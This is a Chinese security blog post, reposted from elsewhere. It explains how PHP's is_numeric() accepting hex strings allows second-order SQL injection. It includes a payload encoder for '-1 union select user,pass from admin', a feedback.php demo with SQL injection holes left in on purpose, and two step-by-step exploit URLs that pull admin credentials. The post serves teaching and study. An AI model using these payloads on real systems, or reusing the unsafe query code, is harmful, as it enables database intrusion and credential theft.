阅读(2130) 评论(0)

0x00 is_numeric函数说明

bool is_numeric ( mixed $var )

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

需要重视的是,这个所谓的数字字符串在这里应当理解为一个十六进制形式的字符串比如0x11

也就是说一个字符串转换为16进制后,可以绕过is_numeric的检测。

0x01 str2hex

<?php 
$str = "−1 union select user,pass from admin";  
$arr = str_split($str);   //将字符串每个字符放进数组
$strhex = '';
foreach ($arr as $value) {
  $strhex.=dechex(ord($value));   //str−>ascii−>hex
}
$strhex = "0x".$strhex;
if (is_numeric($strhex)) {         //测试检测通过
  echo $strhex;             //输出
}
?>

0x02 How to use
整理下思路,现在我们能做到的是绕过is_numeric()函数的检测。
请考虑这个语句

 

$a = $is_numeric($a)?$a:0;
$query = "insert into table(column) values($a)";
mysqli_query($conn,$query);

那么会产生什么结果呢,也就是当插入一个十六进制字符串时会如何?

测试结果如图。

也就是会将字符串插入到表中。

那么,如果这条记录是注入语句呢?如果它被再次查询出来,不加过滤的执行呢?

答曰:二次注入

0x03 Expample

//feedback.php

<?php
//模拟一个简单的留言添加系统
$conn = mysqli_connect("localhost","root","yinfu","test");
//添加留言
if(isset($_GET['add']))
{
        $content = $_GET['content'];
        $userid = $_GET['userid'];
        $username = $_GET['username'];
        if (is_numeric($userid)) {     //检测userid是不是数字
                $query = "INSERT INTO feedback(content,userid,username) values('$content',$userid,'$username')"; //插入数据
                //echo $query;
                if(mysqli_query($conn,$query))
                        {echo "Success\r\n";}
        }
        else {
                echo "Wrong ID\r\n";
        }

}
//查看某用户所有留言
if (isset($_GET['look'])&&isset($_GET['username'])){
        $username = $_GET['username'];
        //通过username找到userid,而userid中是注入语句
        $query = "SELECT userid from feedback where username = '$username'";
        $result = mysqli_query($conn,$query);
    $row = mysqli_fetch_array($result);
    $userid = $row['userid'];
    //通过userid查出该用户所有留言,注入产生
    $query = "SELECT content,username from feedback where userid = $userid";
        $result = mysqli_query($conn,$query);
        $rows = mysqli_num_rows($result);
        //循环输出用户所有留言
        for ($i=1; $i<=$rows; $i++) { 
                $row = mysqli_fetch_array($result);
                echo "username:$row[username],content:$row[content]\r\n";
        }
}
?>

以上只是我写的一个demo,当然现实中不会有程序员写一个程序,先用username查询userid,然后用userid去查询留言。这个脚本写的不好,我一时之间也没有想到好的案例。不过实际中应该是有很大利用层面的,毕竟mysql外键中用的不少。

0x04 exploit

Step1:http://127.0.0.1/feedback.php?add=add&content=test&username=hack&userid=0x2d3120756e696f6e2073656c65637420757365722c706173732066726f6d2061646d696e          //插入数据

Step2:http://127.0.0.1/feedback.php?look=look&username=hack         //获取返回

0x05 Referer

1.本文来源于seay大牛的一篇博文,bug也不是我发现的。我只是大自然的搬运工

http://www.cnseay.com/3734/

2.函数相关

http://www.php.net/manual/zh/function.is-numeric.php

 

 

原文:https://www.t00ls.net/thread-26584-1-1.html


发表评论
切换编辑模式